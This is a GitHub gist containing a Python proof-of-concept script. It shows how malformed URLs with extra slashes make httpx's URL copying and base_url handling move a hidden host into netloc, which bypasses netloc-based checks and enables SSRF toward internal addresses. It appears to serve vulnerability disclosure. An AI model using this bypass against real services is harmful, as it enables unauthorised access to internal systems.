/poc.py Secret
Last active
May 20, 2022 23:42
Revisions
-
lebr0nli revised this gist
Sep 30, 2021 . No changes.There are no files selected for viewing
-
lebr0nli created this gist
Sep 25, 2021 .There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,99 @@ import httpx url_str = "http:////127.0.0.1:1337/to/path?q=a#test" print("#### before calling 'copy_with' ####") url = httpx.URL(url_str) print("unsplit url:", url) print("url.netloc:", url.netloc) print("url.path:", url.path) # //127.0.0.1:1337/to/path print("url.query:", url.query) # b'q=a' assert b"127.0.0.1" not in url.netloc # security check for the PoC print() print("#### e.g. trying to use 'copy_with' to remove fragment ####") url = url.copy_with(fragment=None) print("unsplit url:", url) print("url.netloc:", url.netloc) # b'127.0.0.1:1337' print("url.path:", url.path) # /to/path print("url.query:", url.query) # b'q=a' print() print("#### Some functions which have the same problem when using 'copy_with' ####") print("httpx.URL('http:////127.0.0.1:1337/to/path?q=a#test').copy_set_param('a').netloc:", httpx.URL(url).copy_set_param("a").netloc) print("httpx.URL('http:////127.0.0.1:1337/to/path?q=a#test').copy_add_param('a').netloc:", httpx.URL(url).copy_add_param("a").netloc) print("httpx.URL('http:////127.0.0.1:1337/to/path?q=a#test').copy_remove_param('a').netloc:", httpx.URL(url).copy_remove_param("a").netloc) print("httpx.URL('http:////127.0.0.1:1337/to/path?q=a#test').copy_merge_params('a').netloc:", httpx.URL(url).copy_merge_params("a").netloc) print("httpx.URL('http:////127.0.0.1:1337/to/path?q=a#test', scheme='https').netloc:", httpx.URL(url_str, scheme='https').netloc) # dev only want to change http to https :( print() print("#### build http request with relative path ####") req = httpx.Client(base_url="https://example.com/A?ignore=").build_request("ANY_METHOD", "/B") print('req = httpx.Client(base_url="https://example.com/A?ignore=").build_request("ANY_METHOD", "/B")') print("req.url.path == '/B'? ans:NO!") print("req.url.path:", req.url.path) print("req.url.query:", req.url.query) print() print("#### SSRF if attacker can control 'base_url' in 'httpx.Client' ####") url_str = "http:////127.0.0.1:1337/secret?q=a&ignore=" assert b"127.0.0.1" not in httpx.URL(url_str).netloc # security check for the PoC req = httpx.Client(base_url=url_str).build_request("ANY_METHOD", "/index.html") print("Possible to fetch 'http://127.0.0.1/secret'? ans: YES!") print("request url:", req.url) print("What if I check netloc of base_url?") if b"127.0.0.1" in httpx.Client(base_url=url_str).base_url.netloc: print("Block!", httpx.Client(base_url=url_str).base_url.netloc) print("Still possible to bypass the check? ans: YES!") url_str = url_str + "/" assert b"127.0.0.1" not in httpx.URL(url_str).netloc # bypass 1! client = httpx.Client(base_url=url_str) assert b"127.0.0.1" not in client.base_url.netloc # bypass 2! print("httpx.Client(base_url='http:////127.0.0.1:1337/secret?q=a&ignore=/').base_url", client.base_url) req = client.build_request("ANY_METHOD", "/index.html") print("request url:", req.url)